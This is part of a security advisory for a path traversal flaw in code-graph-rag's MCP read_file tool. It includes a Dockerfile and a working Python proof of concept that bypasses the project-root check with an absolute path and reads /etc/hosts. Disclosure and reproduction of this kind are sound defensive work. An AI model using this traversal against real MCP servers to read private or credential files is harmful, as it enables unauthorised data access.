Advisory

GHSA-vvr2-h2jp-838m

Details, part 2 of 2. The advisory

Details

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        gcc build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable repository source
COPY repo/ /app/repo/

# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
    pip install --quiet \
        loguru \
        "mcp>=1.25.0" \
        "pydantic-ai>=1.102.0" \
        "pydantic-settings>=2.12.0" \
        "python-dotenv>=1.2.1" \
        "tiktoken>=0.12.0" \
        "toml>=0.10.2" \
        "tree-sitter==0.25.2" \
        "tree-sitter-python>=0.25.0" \
        "watchdog>=6.0.0" \
        "typer>=0.21.1" \
        "rich>=14.2.0" \
        "prompt-toolkit>=3.0.52" \
        "diff-match-patch>=20241021" \
        "click>=8.3.1" \
        "protobuf>=6.33.5" \
        "defusedxml>=0.7.1" \
        "huggingface-hub>=1.7.2" \
        "pathspec>=1.0.4" \
        "griffe>=1.0,<2" \
        httpx \
        anyio

# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/

# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
    echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version    : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location:
    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)

Root cause:
    When 'offset' or 'limit' is provided, the method builds the path as:
        full_path = Path(self.project_root) / file_path          # line 562
    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
    The non-paginated branch is protected by @validate_project_path, but this branch
    has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport):
    MCP client  ->  POST /mcp  ->  call_tool("read_file", {"file_path": "/etc/hosts",
                                               "offset": 0, "limit": 5})
    -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
    -> full_path = Path("/safe/root") / "/etc/hosts"  ==>  Path("/etc/hosts")
    -> open("/etc/hosts")  # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package.  The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path.  The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""

import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock

# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client).  It is imported at the top of
# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()

# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
    from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
    print(f"[!] Import failed: {exc}")
    sys.exit(2)
print("[+] Import successful\n")

# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"

registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT

print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()

# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"

joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f"    => {joined}")
print(f"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")

assert str(joined) == ATTACK_PATH, (
    f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")

# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path       = {joined}")
print()


async def run_poc() -> str:
    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)


result = asyncio.run(run_poc())

print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()

# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
    actual_hosts = fh.read()

# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
    "Lines " in result                             # pagination header present
    or "127.0.0.1" in result                       # standard loopback entry
    or "localhost" in result                        # standard hostname entry
    or "::1" in result                             # IPv6 loopback
    or any(
        line.strip() in result
        for line in actual_hosts.splitlines()
        if line.strip() and not line.startswith("#")
    )
)

if confirmed:
    print("[+] EXPLOIT SUCCESSFUL")
    print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
    print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
    print()
    print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
    sys.exit(0)
else:
    print("[-] Validation failed -- could not find /etc/hosts content in result")
    print(f"[-] Returned value: {result!r}")
    sys.exit(1)

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